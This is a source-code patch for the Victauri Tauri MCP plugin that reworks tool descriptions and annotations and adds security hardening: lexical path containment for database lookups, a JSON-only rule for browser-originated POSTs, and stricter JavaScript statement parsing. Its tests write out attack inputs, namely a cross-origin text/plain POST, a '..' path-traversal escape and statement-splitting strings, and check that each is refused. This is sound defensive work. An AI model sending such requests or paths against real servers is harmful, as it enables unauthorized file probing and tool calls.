`command_timings`: Per-command execution timing stats (min/max/avg/p95). Set `slow_threshold_ms` to filter. - `coverage`: Which registered commands have been called during this session. - `command_catalog`: Per-command argument + result SHAPES mined from the live IPC log, merged with the registry — real call/return schemas even for apps that don't use #[inspectable] (where get_registry is names-only). The highest-signal way to learn how to drive an app's commands. - `contract_record`: Record a command's response shape as a baseline (requires `command`). - `contract_check`: Check all recorded contracts for schema drift. - `contract_list`: List all recorded contract baselines. - `contract_clear`: Clear all recorded contract baselines. - `startup_timing`: Victauri plugin initialization phase-by-phase timing breakdown. - `capabilities`: Enumerate Tauri v2 capabilities, security config (CSP, freeze_prototype), configured plugins, and window definitions. - `db_health`: Read-only SQLite database diagnostics (journal mode, WAL presence, page stats). - `plugin_state`: Snapshot of the Victauri plugin's internal state (event log, registry, faults, recording, timings, etc.). - `processes`: Enumerate the host process and all child processes (sidecars, background workers) with PID, name, and memory usage. - `plugin_tasks`: List Victauri's own spawned async tasks (MCP server, event drain) with status. - `event_bus`: List captured Tauri events + app events (auto-intercepted via listen_any — no app opt-in needed). Returns the newest events per category (default 100) so the full buffers (up to ~11k events / megabytes) never overflow the result; `count` is the true total and `truncated` flags a capped slice. Scope via the `args` object: `{\"action\":\"event_bus\",\"args\":{\"limit\":500,\"since_ms\":5000}}`. - `event_bus_clear`: Clear the event bus capture buffer." + "description": "Compare frontend state (evaluated via JS expression) against backend state to detect divergences. Returns a VerificationResult with any mismatches.", + "name": "verify_state" }, { - "name": "fault", - "description": "Probe a backend command handler under failure by faulting it for chaos engineering. Simulate slow commands, backend errors, dropped responses, and corrupted data. SCOPE: faults apply ONLY to commands you run via this server's `invoke_command` tool — they do NOT intercept the app's real user-driven IPC (window.__TAURI_INTERNALS__.invoke), which runs below the layer Victauri can reach. Use this to test a handler's error path when YOU drive it; it does not reproduce a failure a user clicking the UI would see. Actions: - `inject`: Add a fault rule (requires `command`, `fault_type`). Optional: `delay_ms`, `error_message`, `max_triggers`. - `list`: List all active fault injection rules. - `clear`: Remove a specific fault rule (requires `command`). - `clear_all`: Remove all fault rules." + "description": "Wait for a condition to be met. Polls at regular intervals until satisfied or timeout. Conditions: text (text appears), text_gone (text disappears), selector (CSS selector matches), selector_gone, url (URL contains value), ipc_idle (no pending IPC calls), network_idle (no pending network requests), expression (poll a JS expression in `value` until truthy or until it equals `expected` — may `await`, e.g. await a fire-and-forget command's status), event (block until the Tauri event named in `value` fires, with `since_ms` look-back). Use expression/event to await async backend work to true completion instead of guessing with a fixed sleep.", + "name": "wait_for" }, { - "name": "explain", - "description": "Correlate recent activity across all layers into a coherent narrative. CDP shows raw events per layer; Victauri correlates IPC + DOM + console + network + window events across the Rust backend and webview simultaneously. Actions: - `summary`: High-level activity summary for the last N seconds (default 30). Counts IPC calls, DOM mutations, console entries, network requests, errors. - `last_action`: Correlate the most recent burst of events into a causal timeline (e.g. 'IPC call → DOM update → console.log'). - `diff`: What changed in the last N seconds — event counts, errors, new IPC commands." + "description": "Window management. Actions: get_state (window positions/sizes/visibility), list (all window labels), manage (minimize/maximize/close/focus/show/hide/fullscreen/always_on_top), resize, move_to, set_title, introspectability (probe every window and report which Victauri can actually see — a visible window that comes back introspectable:false is almost always missing the \"victauri:default\" capability; run this FIRST when eval_js/dom_snapshot/animation return nothing for a multi-window app).", + "name": "window" } ] diff --git a/crates/victauri-plugin/src/bridge.rs b/crates/victauri-plugin/src/bridge.rs index b1ef3648..a0f926bd 100644 --- a/crates/victauri-plugin/src/bridge.rs +++ b/crates/victauri-plugin/src/bridge.rs @@ -4,6 +4,12 @@ use victauri_core::WindowState; /// Runtime-erased interface for webview and backend access, allowing the MCP /// server to interact with Tauri windows and the application backend without /// generic parameters. +/// +/// Victauri implements this for `tauri::AppHandle`; it is public so tests (and embedders) can +/// supply a mock. **Stability contract:** any method added to this trait in a future release +/// will have a default implementation, so implementing it does not pin you to an exact +/// version. [`WindowState`] is `#[non_exhaustive]` — build one with +/// `WindowState::new(label).with_*(..)`. pub trait WebviewBridge: Send + Sync { /// Execute JavaScript in the target webview (defaults to "main" or first visible window). /// diff --git a/crates/victauri-plugin/src/mcp/mod.rs b/crates/victauri-plugin/src/mcp/mod.rs index 0f687dc2..7065133c 100644 --- a/crates/victauri-plugin/src/mcp/mod.rs +++ b/crates/victauri-plugin/src/mcp/mod.rs @@ -488,9 +488,9 @@ impl VictauriMcpHandler { #[tool( description = "Compare frontend state (evaluated via JS expression) against backend state to detect divergences. Returns a VerificationResult with any mismatches.", annotations( - read_only_hint = true, - destructive_hint = false, - idempotent_hint = true, + read_only_hint = false, + destructive_hint = true, + idempotent_hint = false, open_world_hint = false ) )] @@ -648,9 +648,9 @@ impl VictauriMcpHandler { #[tool( description = "Wait for a condition to be met. Polls at regular intervals until satisfied or timeout. Conditions: text (text appears), text_gone (text disappears), selector (CSS selector matches), selector_gone, url (URL contains value), ipc_idle (no pending IPC calls), network_idle (no pending network requests), expression (poll a JS expression in `value` until truthy or until it equals `expected` — may `await`, e.g. await a fire-and-forget command's status), event (block until the Tauri event named in `value` fires, with `since_ms` look-back). Use expression/event to await async backend work to true completion instead of guessing with a fixed sleep.", annotations( - read_only_hint = true, - destructive_hint = false, - idempotent_hint = true, + read_only_hint = false, + destructive_hint = true, + idempotent_hint = false, open_world_hint = false ) )] @@ -814,9 +814,9 @@ impl VictauriMcpHandler { #[tool( description = "Run a semantic assertion: evaluate a JS expression and check the result against an expected condition. Conditions: equals, not_equals, contains, greater_than, less_than, truthy, falsy, exists, type_is.", annotations( - read_only_hint = true, - destructive_hint = false, - idempotent_hint = true, + read_only_hint = false, + destructive_hint = true, + idempotent_hint = false, open_world_hint = false ) )] @@ -1677,8 +1677,8 @@ impl VictauriMcpHandler { description = "Window management. Actions: get_state (window positions/sizes/visibility), list (all window labels), manage (minimize/maximize/close/focus/show/hide/fullscreen/always_on_top), resize, move_to, set_title, introspectability (probe every window and report which Victauri can actually see — a visible window that comes back introspectable:false is almost always missing the \"victauri:default\" capability; run this FIRST when eval_js/dom_snapshot/animation return nothing for a multi-window app).", annotations( read_only_hint = false, - destructive_hint = false, - idempotent_hint = true, + destructive_hint = true, + idempotent_hint = false, open_world_hint = false ) )] @@ -1940,7 +1940,7 @@ impl VictauriMcpHandler { description = "Time-travel recording. Actions: start (begin recording), stop (end and return session), checkpoint (save state snapshot), list_checkpoints, get_events (since index), events_between (two checkpoints), get_replay (IPC replay sequence), export (session as JSON), import (load a session from JSON as the active recording; refused while one is in progress), replay (re-invoke the recorded IPC commands that succeeded with no arguments — their side effects happen again; calls that had arguments, failed, or never completed are skipped because recordings do not capture arguments), flush (immediately drain pending events into recording without waiting for the 1-second poll).", annotations( read_only_hint = false, - destructive_hint = false, + destructive_hint = true, idempotent_hint = false, open_world_hint = false ) @@ -2198,7 +2198,7 @@ impl VictauriMcpHandler { #[tool( description = "CSS and visual inspection. Actions: get_styles (computed CSS for element), get_bounding_boxes (layout rects), highlight (debug overlay), clear_highlights, audit_accessibility (a11y audit), get_performance (timing/heap/DOM metrics).", annotations( - read_only_hint = true, + read_only_hint = false, destructive_hint = false, idempotent_hint = true, open_world_hint = false @@ -2449,10 +2449,14 @@ impl VictauriMcpHandler { into a ring buffer, forming a visual timeline that pairs with `recording` (events) and \ `logs` (network/console). Actions:\n\ - `start`: begin capturing (`interval_ms` default 500, `max_frames` default 60). Set \ - `with_events=true` to also start the event recorder.\n\ - - `stop`: stop and return a summary (frame count, duration, timestamps).\n\ + `with_events=true` to also start the event recorder. Hidden windows are skipped \ + (no frame), the buffer is capped at 256 MB, and an abandoned trace auto-stops \ + after 30 minutes.\n\ + - `stop`: stop and return a summary (frame count, duration, timestamps); also stops \ + the recording that `with_events` started (never one started separately).\n\ - `status`: active flag + buffered frame count.\n\ - - `frames`: return captured frames as base64 PNGs (`limit` caps how many).", + - `frames`: return captured frames as base64 PNGs, newest first up to a 25 MB \ + response (`limit` caps how many).", annotations( read_only_hint = false, destructive_hint = false, @@ -2624,9 +2628,9 @@ impl VictauriMcpHandler { NOTE: an animation only appears while it is running or pending — trigger it (e.g. show the \ notification) just before calling `list`/`scrub`, or arm `sample` before triggering.", annotations( - read_only_hint = true, + read_only_hint = false, destructive_hint = false, - idempotent_hint = true, + idempotent_hint = false, open_world_hint = false ) )] @@ -2786,10 +2790,10 @@ impl VictauriMcpHandler { } #[tool( - description = "Application logs and monitoring. Actions: console (captured console.log/warn/error), network (intercepted fetch/XHR), ipc (IPC call log — set wait_for_capture=true to await response capture up to 500ms), navigation (URL change history), dialogs (alert/confirm/prompt events), events (combined event stream), slow_ipc (find slow IPC calls).", + description = "Application logs and monitoring. Actions: console (captured console.log/warn/error), network (intercepted fetch/XHR), ipc (IPC call log — set wait_for_capture=true to await response capture up to 500ms), navigation (URL change history), dialogs (alert/confirm/prompt events), events (combined event stream), slow_ipc (find slow IPC calls), clear (DELETES the captured IPC + network logs — use for per-test isolation).", annotations( - read_only_hint = true, - destructive_hint = false, + read_only_hint = false, + destructive_hint = true, idempotent_hint = true, open_world_hint = false ) @@ -2936,16 +2940,19 @@ impl VictauriMcpHandler { - `contract_clear`: Clear all recorded contract baselines.\n\ - `startup_timing`: Victauri plugin initialization phase-by-phase timing breakdown.\n\ - `capabilities`: Enumerate Tauri v2 capabilities, security config (CSP, freeze_prototype), configured plugins, and window definitions.\n\ - - `db_health`: Read-only SQLite database diagnostics (journal mode, WAL presence, page stats).\n\ + - `db_health`: Read-only SQLite diagnostics: journal mode, page stats, freelist, \ + per-table row counts, and SQLite `quick_check` — each phase budgeted; a phase that \ + runs out is reported (`row_counts_complete`, `integrity_check: \"not completed…\"`) \ + instead of failing.\n\ - `plugin_state`: Snapshot of the Victauri plugin's internal state (event log, registry, faults, recording, timings, etc.).\n\ - `processes`: Enumerate the host process and all child processes (sidecars, background workers) with PID, name, and memory usage.\n\ - `plugin_tasks`: List Victauri's own spawned async tasks (MCP server, event drain) with status.\n\ - `event_bus`: List captured Tauri events + app events (auto-intercepted via listen_any — no app opt-in needed). Returns the newest events per category (default 100) so the full buffers (up to ~11k events / megabytes) never overflow the result; `count` is the true total and `truncated` flags a capped slice. Scope via the `args` object: `{\"action\":\"event_bus\",\"args\":{\"limit\":500,\"since_ms\":5000}}`.\n\ - `event_bus_clear`: Clear the event bus capture buffer.", annotations( - read_only_hint = true, - destructive_hint = false, - idempotent_hint = true, + read_only_hint = false, + destructive_hint = true, + idempotent_hint = false, open_world_hint = false ) )] @@ -3463,7 +3470,11 @@ impl VictauriMcpHandler { which runs below the layer Victauri can reach. Use this to test a handler's error path when \ YOU drive it; it does not reproduce a failure a user clicking the UI would see.\n\n\ Actions:\n\ - - `inject`: Add a fault rule (requires `command`, `fault_type`). Optional: `delay_ms`, `error_message`, `max_triggers`.\n\ + - `inject`: Add a fault rule (requires `command`, `fault_type`). Optional: `delay_ms` \ + (max 120000), `error_message`, `max_triggers`. `delay` sleeps then runs the command; \ + `error` returns the error without running it; `drop` returns `{}` without running \ + it; `corrupt` runs it and replaces the response with a fixed \ + `{\"__corrupted\":true,…}` marker. Rules expire after 15 minutes.\n\ - `list`: List all active fault injection rules.\n\ - `clear`: Remove a specific fault rule (requires `command`).\n\ - `clear_all`: Remove all fault rules.", @@ -3564,7 +3575,9 @@ impl VictauriMcpHandler { + window events across the Rust backend and webview simultaneously.\n\n\ Actions:\n\ - `summary`: High-level activity summary for the last N seconds (default 30). \ - Counts IPC calls, DOM mutations, console entries, network requests, errors.\n\ + Counts IPC calls, DOM mutations, console entries, state changes (incl. network \ + requests), errors. With no recording active it reads the window's live event \ + stream (`webview_label`, default main).\n\ - `last_action`: Correlate the most recent burst of events into a causal timeline \ (e.g. 'IPC call → DOM update → console.log').\n\ - `diff`: What changed in the last N seconds — event counts, errors, new IPC commands.", @@ -4108,6 +4121,22 @@ impl VictauriMcpHandler { ) -> Result { let candidate = std::path::Path::new(requested); if candidate.is_absolute() { + // Decide containment LEXICALLY first, before touching the requested path: checking + // existence first answered "does X exist?" for any path on disk ("not found" vs + // "not within an allowed directory"). The canonical check below still catches + // symlink escapes for paths that are lexically inside a root. + let normalized = lexically_normalize(candidate); + let lexically_inside = roots.iter().any(|root| { + normalized.starts_with(lexically_normalize(root)) + || std::fs::canonicalize(root) + .is_ok_and(|canon_root| normalized.starts_with(canon_root)) + }); + if !lexically_inside { + return Err(format!( + "absolute path '{requested}' is not within an allowed directory; \ + register its parent via VictauriBuilder::db_search_paths" + )); + } if !candidate.exists() { return Err(format!("database not found: {requested}")); } @@ -5147,6 +5176,21 @@ const STMT_STARTS: &[&str] = &[ "debugger", ]; +/// Resolve `.` and `..` components without touching the filesystem. +fn lexically_normalize(path: &std::path::Path) -> std::path::PathBuf { + let mut out = std::path::PathBuf::new(); + for component in path.components() { + match component { + std::path::Component::CurDir => {} + std::path::Component::ParentDir => { + out.pop(); + } + other => out.push(other), + } + } + out +} + /// A line ending in one of these continues onto the next line (no ASI). const ASI_CONTINUES_AFTER: &[u8] = b"+-*/%&|^!=<>?:,.([{~"; /// A line starting with one of these continues the previous line (no ASI) — including `(`, @@ -5203,84 +5247,94 @@ fn should_prepend_return(code: &str) -> bool { let mut depth: i32 = 0; let mut state = ScanState::Code; - let is_ident = |b: u8| b.is_ascii_alphanumeric() || b == b'_' || b == b'$'; // Is there a top-level `return` token starting at byte `i` (word-bounded)? let is_return_token = |i: usize| -> bool { - let prev_ok = i == 0 || !is_ident(bytes[i - 1]); + let prev_ok = i == 0 || !is_js_ident(bytes[i - 1]); prev_ok && code[i..].starts_with("return") - && bytes.get(i + 6).copied().is_none_or(|b| !is_ident(b)) + && bytes.get(i + 6).copied().is_none_or(|b| !is_js_ident(b)) }; - // Last significant (non-whitespace, non-comment) byte seen in code — for the ASI check. + // The last two significant (non-whitespace, non-comment) bytes seen in code, and where the + // last one is — for the ASI and regex-vs-division decisions. let mut last_sig: Option = None; + let mut prev_sig: Option = None; + let mut last_sig_idx = 0usize; while i < bytes.len() { let c = bytes[i]; - if state == Code && !c.is_ascii_whitespace() && c != b'/' { - last_sig = Some(c); + // U+2028 / U+2029 are JavaScript line terminators too. + let line_sep = c == 0xE2 + && bytes.get(i + 1) == Some(&0x80) + && matches!(bytes.get(i + 2), Some(&0xA8 | &0xA9)); + if state == Code && (c == b'\n' || line_sep) { + let next_start = if line_sep { i + 3 } else { i + 1 }; + if depth <= 0 && asi_ends_statement(code, next_start, last_sig, prev_sig, last_sig_idx) + { + return false; + } + i = next_start; + continue; } match state { - Code => match c { - // A top-level newline ends the statement (ASI) unless the expression visibly - // continues across it. `foo()\nbar()` with `return` prepended would return - // `foo()` and silently never run `bar()`. - b'\n' if depth <= 0 => { - let rest = strip_leading_js_comments(&code[i + 1..]); - if let Some(&next) = rest.as_bytes().first() - && !last_sig.is_some_and(|p| ASI_CONTINUES_AFTER.contains(&p)) - && !ASI_CONTINUES_BEFORE.contains(&next) - { - return false; + Code => { + match c { + b'\'' => state = SingleQuote, + b'"' => state = DoubleQuote, + b'`' => state = Template, + b'/' if bytes.get(i + 1) == Some(&b'/') => { + while i < bytes.len() && bytes[i] != b'\n' { + i += 1; + } + continue; } - } - b'/' if !(i + 1 < bytes.len() && matches!(bytes[i + 1], b'/' | b'*')) => { - last_sig = Some(b'/'); - } - b'\'' => state = SingleQuote, - b'"' => state = DoubleQuote, - b'`' => state = Template, - b'/' if i + 1 < bytes.len() && bytes[i + 1] == b'/' => { - while i < bytes.len() && bytes[i] != b'\n' { - i += 1; + b'/' if bytes.get(i + 1) == Some(&b'*') => { + i += 2; + while i + 1 < bytes.len() && !(bytes[i] == b'*' && bytes[i + 1] == b'/') { + i += 1; + } + i += 2; + continue; } - continue; - } - b'/' if i + 1 < bytes.len() && bytes[i + 1] == b'*' => { - i += 2; - while i + 1 < bytes.len() && !(bytes[i] == b'*' && bytes[i + 1] == b'/') { - i += 1; + b'/' if slash_starts_regex(code, last_sig, last_sig_idx) => { + // A regex literal: skip it whole (a quote or newline-like character + // inside it must not be read as code), then its flags. + i = skip_regex_literal(bytes, i); + prev_sig = last_sig; + last_sig = Some(b')'); // an operand, like a closed group + last_sig_idx = i.saturating_sub(1); + continue; } - i += 2; - continue; - } - b'(' | b'[' | b'{' => depth += 1, - b')' | b']' | b'}' => depth -= 1, - // A top-level `;` with more code after it == multi-statement. - b';' if depth <= 0 && !code[i + 1..].trim().is_empty() => return false, - // An explicit top-level `return` token means the code already returns. - b'r' if depth <= 0 && is_return_token(i) => return false, - _ => {} - }, - SingleQuote => { - if c == b'\\' { - i += 1; - } else if c == b'\'' { - state = Code; + b'(' | b'[' | b'{' => depth += 1, + b')' | b']' | b'}' => depth -= 1, + // A top-level `;` with more CODE after it (not just a comment) is a + // multi-statement block. + b';' if depth <= 0 && !strip_leading_js_comments(&code[i + 1..]).is_empty() => { + return false; + } + // An explicit top-level `return` token means the code already returns. + b'r' if depth <= 0 && is_return_token(i) => return false, + _ => {} } - } - DoubleQuote => { - if c == b'\\' { - i += 1; - } else if c == b'"' { - state = Code; + if !c.is_ascii_whitespace() { + prev_sig = last_sig; + last_sig = Some(c); + last_sig_idx = i; } } - Template => { + SingleQuote | DoubleQuote | Template => { + let close = match state { + SingleQuote => b'\'', + DoubleQuote => b'"', + _ => b'`', + }; if c == b'\\' { i += 1; - } else if c == b'`' { + } else if c == close { state = Code; + prev_sig = last_sig; + last_sig = Some(c); + last_sig_idx = i; } } } @@ -5290,6 +5344,103 @@ fn should_prepend_return(code: &str) -> bool { true } +fn is_js_ident(b: u8) -> bool { + b.is_ascii_alphanumeric() || b == b'_' || b == b'$' +} + +/// The identifier that ends at byte `end` (inclusive), if `code[end]` is an identifier byte. +fn js_word_ending_at(code: &str, end: usize) -> &str { + let bytes = code.as_bytes(); + if !bytes.get(end).copied().is_some_and(is_js_ident) { + return ""; + } + let mut start = end; + while start > 0 && is_js_ident(bytes[start - 1]) { + start -= 1; + } + &code[start..=end] +} + +/// Keywords after which an expression (not a statement end) must follow. +const EXPR_KEYWORDS: &[&str] = &[ + "instanceof", + "in", + "typeof", + "void", + "delete", + "new", + "await", + "yield", + "return", + "case", + "do", + "else", + "of", + "throw", +]; + +/// Does a line break just before `next_start` end the statement (JavaScript ASI)? Only +/// consulted at bracket depth 0. +fn asi_ends_statement( + code: &str, + next_start: usize, + last_sig: Option, + prev_sig: Option, + last_sig_idx: usize, +) -> bool { + let rest = strip_leading_js_comments(&code[next_start.min(code.len())..]); + let Some(&next) = rest.as_bytes().first() else { + return false; // nothing follows + }; + // Restricted production: `a\n++b` is `a; ++b`. + if rest.starts_with("++") || rest.starts_with("--") { + return true; + } + // A line ending in POSTFIX `++`/`--` is complete, even though `+`/`-` normally continue. + let postfix = matches!( + (prev_sig, last_sig), + (Some(b'+'), Some(b'+')) | (Some(b'-'), Some(b'-')) + ); + let continues_after = !postfix + && (last_sig.is_some_and(|p| ASI_CONTINUES_AFTER.contains(&p)) + || EXPR_KEYWORDS.contains(&js_word_ending_at(code, last_sig_idx))); + !(continues_after || ASI_CONTINUES_BEFORE.contains(&next)) +} + +/// Whether a `/` (not starting a comment) begins a regex literal rather than division: +/// true where an operand is expected — at the start, after an operator or opening +/// punctuation, or after a keyword such as `return`/`typeof`. +fn slash_starts_regex(code: &str, last_sig: Option, last_sig_idx: usize) -> bool { + match last_sig { + None => true, + Some(b) if b"(,=:[!&|?{};+-*%<>~^".contains(&b) => true, + Some(b) if is_js_ident(b) => EXPR_KEYWORDS.contains(&js_word_ending_at(code, last_sig_idx)), + Some(_) => false, + } +} + +/// Skip a regex literal starting at the `/` at `start`; returns the index after its flags. +fn skip_regex_literal(bytes: &[u8], start: usize) -> usize { + let mut i = start + 1; + let mut in_class = false; + while i < bytes.len() { + match bytes[i] { + b'\\' => i += 1, + b'[' => in_class = true, + b']' => in_class = false, + b'/' if !in_class => break, + b'\n' => return i, // unterminated: let the newline be scanned normally + _ => {} + } + i += 1; + } + i += 1; + while i < bytes.len() && is_js_ident(bytes[i]) { + i += 1; + } + i +} + #[cfg(test)] mod prop_tests { //! Property-based tests for the eval auto-return heuristic — the code that @@ -5480,6 +5631,108 @@ mod tests { assert!(should_prepend_return("document.title\n")); } + /// The live tool list (name + description), in router order — the source of truth for the + /// CLI bridge's baked `tools_fallback.json` (what an agent sees while the app is down). + fn live_tool_manifest() -> serde_json::Value { + let mut tools = VictauriMcpHandler::tool_router().list_all(); + tools.sort_by(|a, b| a.name.cmp(&b.name)); + serde_json::Value::Array( + tools + .iter() + .map(|t| { + serde_json::json!({ + "name": t.name.as_ref(), + "description": t.description.as_deref().unwrap_or_default(), + }) + }) + .collect(), + ) + } + + fn fallback_manifest_path() -> std::path::PathBuf { + std::path::Path::new(env!("CARGO_MANIFEST_DIR")) + .join("../victauri-cli/src/tools_fallback.json") + } + + #[test] + fn cli_fallback_tool_manifest_matches_the_live_tools() { + // Names AND descriptions: a stale description shown while the app is down misleads an + // agent just as much as a missing tool. Regenerate with: + // VICTAURI_WRITE_FALLBACK=1 cargo test -p victauri-plugin --lib cli_fallback + let path = fallback_manifest_path(); + let Ok(raw) = std::fs::read_to_string(&path) else { + return; // packaged crate: the CLI source is not alongside + }; + let live = live_tool_manifest(); + if std::env::var_os("VICTAURI_WRITE_FALLBACK").is_some() { + let pretty = serde_json::to_string_pretty(&live).unwrap() + "\n"; + std::fs::write(&path, pretty).unwrap(); + return; + } + let mut baked: Vec = serde_json::from_str(&raw).unwrap(); + baked.sort_by(|a, b| a["name"].as_str().cmp(&b["name"].as_str())); + assert_eq!( + serde_json::Value::Array(baked), + live, + "crates/victauri-cli/src/tools_fallback.json is stale — regenerate it with \ + VICTAURI_WRITE_FALLBACK=1 cargo test -p victauri-plugin --lib cli_fallback" + ); + } + + #[cfg(feature = "sqlite")] + #[test] + fn db_path_outside_roots_gives_no_existence_oracle() { + let root = tempfile::tempdir().unwrap(); + let roots = vec![root.path().to_path_buf()]; + let outside_existing = std::env::current_exe().unwrap(); + let outside_missing = outside_existing.with_file_name("definitely-not-here-7f3a.db"); + let e1 = VictauriMcpHandler::resolve_existing_db_path( + &roots, + outside_existing.to_str().unwrap(), + ) + .unwrap_err(); + let e2 = + VictauriMcpHandler::resolve_existing_db_path(&roots, outside_missing.to_str().unwrap()) + .unwrap_err(); + assert!(e1.contains("not within an allowed directory"), "{e1}"); + assert!(e2.contains("not within an allowed directory"), "{e2}"); + assert!(!e1.contains("not found") && !e2.contains("not found")); + // `..` cannot climb out lexically either. + let climb = root.path().join("..").join("x.db"); + let e3 = VictauriMcpHandler::resolve_existing_db_path(&roots, climb.to_str().unwrap()) + .unwrap_err(); + assert!(e3.contains("not within an allowed directory"), "{e3}"); + } + + #[test] + fn prepend_return_handles_the_red_team_asi_cases() { + // Two statements that must NOT be wrapped (the second line would silently never run). + for code in [ + "window.x++\nwindow.x", + "window.x--\nwindow.x", + "a\n++b", + "/re/.test(s)\nfoo()", + "s.replace(/\"/g, '')\nfoo()", + "foo()\u{2028}bar()", + "foo()\u{2029}bar()", + ] { + assert!(!should_prepend_return(code), "must not wrap: {code:?}"); + } + // Valid single expressions spanning lines, which must still be wrapped. + for code in [ + "a instanceof\nB", + "typeof\nx", + "await\nfoo()", + "new\nFoo()", + "a /\nb", + "s.split(/,/)\n.length", + "document.title; // trailing note", + "document.title // trailing note", + ] { + assert!(should_prepend_return(code), "must wrap: {code:?}"); + } + } + #[test] fn prepend_return_sees_past_leading_comments() { assert!(!should_prepend_return("// setup\nconst x = 1; x")); diff --git a/crates/victauri-plugin/src/mcp/server.rs b/crates/victauri-plugin/src/mcp/server.rs index 29e6aedd..33b7a98c 100644 --- a/crates/victauri-plugin/src/mcp/server.rs +++ b/crates/victauri-plugin/src/mcp/server.rs @@ -5,7 +5,7 @@ use axum::extract::DefaultBodyLimit; use rmcp::transport::streamable_http_server::session::local::LocalSessionManager; use rmcp::transport::streamable_http_server::{StreamableHttpServerConfig, StreamableHttpService}; use tauri::Runtime; -use tower::limit::ConcurrencyLimitLayer; +use tower::limit::GlobalConcurrencyLimitLayer; use crate::VictauriState; use crate::bridge::WebviewBridge; @@ -229,9 +229,11 @@ fn build_app_full_inner( // The concurrency cap and body limit wrap only the API routes registered so far — NOT // `/health`. A liveness probe must never queue behind 64 slow tool calls (long `wait_for`s, // injected fault delays): the watchdog would then report a live app as dead. + // `GlobalConcurrencyLimitLayer`: ONE shared semaphore. A plain `ConcurrencyLimitLayer` is + // instantiated per route by axum, which gave `/mcp` and `/api/tools/*` 64 slots EACH. router = router .layer(DefaultBodyLimit::max(2 * 1024 * 1024)) - .layer(ConcurrencyLimitLayer::new(64)); + .layer(GlobalConcurrencyLimitLayer::new(64)); // `/health` is registered AFTER the auth layer (so liveness probes stay unauthenticated) // but BEFORE the rate limiter below, so it is still throttled. Axum applies a `.layer` only @@ -249,11 +251,44 @@ fn build_app_full_inner( )); router + .layer(axum::middleware::from_fn(require_json_from_browsers)) .layer(axum::middleware::from_fn(crate::auth::security_headers)) .layer(axum::middleware::from_fn(crate::auth::origin_guard)) .layer(axum::middleware::from_fn(crate::auth::dns_rebinding_guard)) } +/// Refuse a browser-originated request body that is not JSON (415). +/// +/// A browser can send a cross-origin POST with a "simple" content type (`text/plain`, +/// form-encoded, multipart) and NO CORS preflight, so a page on any localhost origin could +/// fire tool calls blind at an `auth_disabled()` server (with auth on, the `Authorization` +/// header already forces a preflight that fails). Every legitimate caller sends JSON, and +/// non-browser clients (curl, scripts, the CLI) send no `Origin` header, so they are unaffected. +async fn require_json_from_browsers( + req: axum::extract::Request, + next: axum::middleware::Next, +) -> axum::response::Response { + use axum::http::{Method, StatusCode, header}; + use axum::response::IntoResponse; + let has_body_method = !matches!(*req.method(), Method::GET | Method::HEAD | Method::OPTIONS); + if has_body_method && req.headers().contains_key(header::ORIGIN) { + let is_json = req + .headers() + .get(header::CONTENT_TYPE) + .and_then(|v| v.to_str().ok()) + .and_then(|ct| ct.split(';').next()) + .is_some_and(|mime| mime.trim().eq_ignore_ascii_case("application/json")); + if !is_json { + return ( + StatusCode::UNSUPPORTED_MEDIA_TYPE, + "browser-originated requests must send Content-Type: application/json", + ) + .into_response(); + } + } + next.run(req).await +} + #[doc(hidden)] #[allow(dead_code)] pub mod tests_support { diff --git a/crates/victauri-plugin/tests/tool_contract_tests.rs b/crates/victauri-plugin/tests/tool_contract_tests.rs index 6f00b232..d5511766 100644 --- a/crates/victauri-plugin/tests/tool_contract_tests.rs +++ b/crates/victauri-plugin/tests/tool_contract_tests.rs @@ -2455,3 +2455,46 @@ async fn app_state_lists_empty_when_no_probes() { "app_state with no probes should still return a probes list: {list}" ); } + +// Red-team M2: a browser page on any localhost origin could fire a cross-origin "simple" +// (text/plain, no-preflight) POST at an auth-disabled server. Browser-originated bodies must be +// JSON; non-browser clients (no Origin header) are unaffected. +#[tokio::test] +async fn browser_simple_post_is_refused_but_json_and_curl_work() { + let base = start_test_server(test_state(), &["main"]).await; + let client = reqwest::Client::new(); + let url = format!("{base}/api/tools/get_plugin_info"); + + let simple = client + .post(&url) + .header("Origin", "http://localhost:3000") + .header("Content-Type", "text/plain") + .body("{}") + .send() + .await + .unwrap(); + assert_eq!( + simple.status(), + 415, + "CORS-simple POST from a page must be refused" + ); + + let json = client + .post(&url) + .header("Origin", "http://localhost:3000") + .header("Content-Type", "application/json; charset=utf-8") + .body("{}") + .send() + .await + .unwrap(); + assert_eq!(json.status(), 200); + + let curl_like = client + .post(&url) + .header("Content-Type", "application/x-www-form-urlencoded") + .body("{}") + .send() + .await + .unwrap(); + assert_eq!(curl_like.status(), 200, "non-browser clients keep working"); +} From 0d59759f62aaa0f940e2876168161973025ac66b Mon Sep 17 00:00:00 2001 From: audit Date: Sun, 27 Sep 2026 16:17:58 +1000 Subject: [PATCH 011/167] =?UTF-8?q?release:=20prepare=200.9.0=20=E2=80=94?= =?UTF-8?q?=20changelog,=20migration=20guide,=20version=20bump?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit 0.9.0 is a deliberate one-time semver break (public data types become #[non_exhaustive] with constructors) carrying two audit rounds of fixes. Not published: the adversarial audit runs first. Co-Authored-By: Claude Opus 5.5 (1M context) Claude-Session: https://claude.ai/code/session_015Bpin9VXT6EoVDhoV8HJWw --- .github/actions/victauri-test/action.yml | 2 +- CHANGELOG.md | 85 +++++++++++++++++++++++- CLAUDE.md | 29 ++++++++ Cargo.lock | 16 ++--- Cargo.toml | 10 +-- MIGRATION.md | 52 +++++++++++++++ README.md | 2 +- SECURITY.md | 6 +- crates/victauri-macros/README.md | 4 +- crates/victauri-plugin/README.md | 2 +- crates/victauri-test/README.md | 2 +- docs/src/compatibility.md | 2 +- docs/src/getting-started.md | 10 +-- docs/src/testing-tauri-apps.md | 2 +- docs/src/testing.md | 4 +- server.json | 4 +- 16 files changed, 196 insertions(+), 36 deletions(-) diff --git a/.github/actions/victauri-test/action.yml b/.github/actions/victauri-test/action.yml index 12b79ae0..c7ef2e88 100644 --- a/.github/actions/victauri-test/action.yml +++ b/.github/actions/victauri-test/action.yml @@ -34,7 +34,7 @@ inputs: victauri-version: description: Version of victauri-cli to install required: false - default: "0.8.8" + default: "0.9.0" cli-source-path: description: >- Build & install victauri-cli from this local repo path instead of diff --git a/CHANGELOG.md b/CHANGELOG.md index 70ae5552..33fb3f5c 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -7,8 +7,86 @@ and this project adheres to [Semantic Versioning](https://semver.org/spec/v2.0.0 ## [Unreleased] -Full-surface audit (three review lenses + a live sweep of 4DA), every finding verified against -the code before fixing. Additive/bugfix only — no public API removed or changed. +## [0.9.0] - 2026-09-27 + +A correctness-and-hardening release built from two audit rounds: a full-surface review 